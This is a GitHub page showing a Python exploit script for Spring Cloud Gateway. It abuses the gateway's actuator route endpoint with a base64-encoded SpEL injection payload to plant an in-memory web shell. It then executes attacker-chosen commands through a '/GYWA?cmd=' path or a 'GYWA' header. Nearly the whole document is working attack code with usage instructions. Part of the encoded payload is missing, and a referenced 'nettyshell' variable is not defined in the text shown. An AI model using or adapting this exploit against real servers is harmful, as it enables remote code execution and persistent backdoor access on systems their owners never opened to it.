-
Notifications
You must be signed in to change notification settings - Fork 1
/
spring_cloud_gateway_memshell.py
62 lines (48 loc) · 19.1 KB
/
spring_cloud_gateway_memshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import sys
import base64
headers={'Content-Type': 'application/json'}
springshell='''ewogICJwcmVkaWNhdGVzIjogWwogICAgewogICAgICAibmFtZSI6ICJQYXRoIiwKICAgICAgImFyZ3MiOiB7CiAgICAgICAgIl9nZW5rZXlfMCI6ICIvbmV3X3JvdXRlLyoqIgogICAgICB9CiAgICB9CiAgXSwKICAiZmlsdGVycyI6IFsKICAgIHsKICAgICAgIm5hbWUiOiAiUmV3cml0ZVBhdGgiLAogICAgICAiYXJncyI6IHsKICAgICAgICAiX2dlbmtleV8wIjogIiN7VChvcmcuc3ByaW5nZnJhbWV3b3JrLmNnbGliLmNvcmUuUmVmbGVjdFV0aWxzKS5kZWZpbmVDbGFzcygnU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbCcsVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuQmFzZTY0VXRpbHMpLmRlY29kZUZyb21TdHJpbmcoJ3l2NjZ2Z0FBQURRQWpnb0FCZ0JMQ0FCTUNnQUdBRTBJQURBSEFFNEhBRThIQUZBSEFGRUtBQVVBVWdvQUJ3QlRCd0JVQ0FBeUJ3QlZCd0JXQ2dBT0FFc0lBRmNLQUE0QVdBY0FXUWNBV2dvQUVnQmJDQUJjQ2dBSUFGMEtBQXNBU3dvQUJ3QmVDQUJmQndCZ0NBQmhCd0JpQ2dCakFHUUtBR01BWlFvQVpnQm5DZ0FjQUdnSUFHa0tBQndBYWdvQUhBQnJCd0JzQ1FCdEFHNEtBQ1FBYndFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1b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2tBQUFBSkFnQndBQUFBV0FBQUFBSUFkQUIxQUFJQVFnQUFBSlFBQmdBRkFBQUFOcnNBTWxteUFETXRMTElBTkxnQU5iY0FOam9FR1FTNUFEY0JBTElBT0JJNXRnQTZWeXNaQkxrQU93SUFzZ0E4dVFBOUFnQlhzUUFBQUFJQVF3QUFBQklBQkFBQUFFb0FGQUJMQUNRQVRBQTFBRTBBUkFBQUFEUUFCUUFBQURZQVJRQkdBQUFBQUFBMkFIQUFjUUFCQUFBQU5nQjJBRmtBQWdBQUFEWUFkd0I0QUFNQUZBQWlBSGtBZWdBRUFHa0FBQUFOQXdCd0FBQUFkZ0FBQUhjQUFBQUJBSHNBQUFBQ0FIdz0nKSxuZXcgamF2YXgubWFuYWdlbWVudC5sb2FkaW5nLk1MZXQobmV3IGphdmEubmV0LlVSTFswXSxUKGphdmEubGFuZy5UaHJlYWQpLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSkpLmRvSW5qZWN0KCl9IiwKICAgICAgICAiX2dlbmtleV8xIjogIi8ke3BhdGh9IgogICAgICB9CiAgICB9CiAgXSwKICAidXJpIjogImh0dHBzOi8vd3lhLnBsIiwKICAib3JkZXIiOiAwCn0='''
def sendspring(url):
rsp=requests.post(url+"/actuator/gateway/routes/new_route", data=base64.b64decode(springshell).decode(), headers=headers)
if rsp.status_code!=201:
print("注入失败")
exit(0)
def sendnetty(url):
rsp = requests.post(url+"/actuator/gateway/routes/new_route",data=base64.b64decode(nettyshell).decode(),headers=headers)
if rsp.status_code!=201:
print("注入失败")
exit(0)
def refresh(url):
rsp =requests.post(url+"/actuator/gateway/refresh",data="{}",headers=headers)
print(rsp.status_code,rsp.text)
def echospring(url,cmd):
headers={"Connection": "close"}
rsp=requests.get(url+"/GYWA?cmd={}".format(cmd), headers=headers)
print("shell地址:"+url+"/GYWA?cmd={}".format(cmd))
print("无响应命令则注入失败:")
print(rsp.text)
def echonetty(url,cmd):
headers={"Connection": "close", "GYWA": cmd}
rsp = requests.get(url,headers=headers)
print("shell地址:"+url+ "/任意路径,头部加上GYWA:cmd即可".format(cmd))
print("无响应命令则注入失败:")
print(rsp.text)
# sendnetty(url)
if __name__ == '__main__':
if len(sys.argv)<4:
print("xx.py typeshell(spring or netty) cmd")
print("eg:xx.py http://127.0.0.1:8080 netty whoami")
exit()
url=sys.argv[1]
typeshell=sys.argv[2]
cmd=sys.argv[3]
if typeshell=="netty":
sendnetty(url)
refresh(url)
echonetty(url,cmd)
else:
sendspring(url)
refresh(url)
echospring(url,cmd)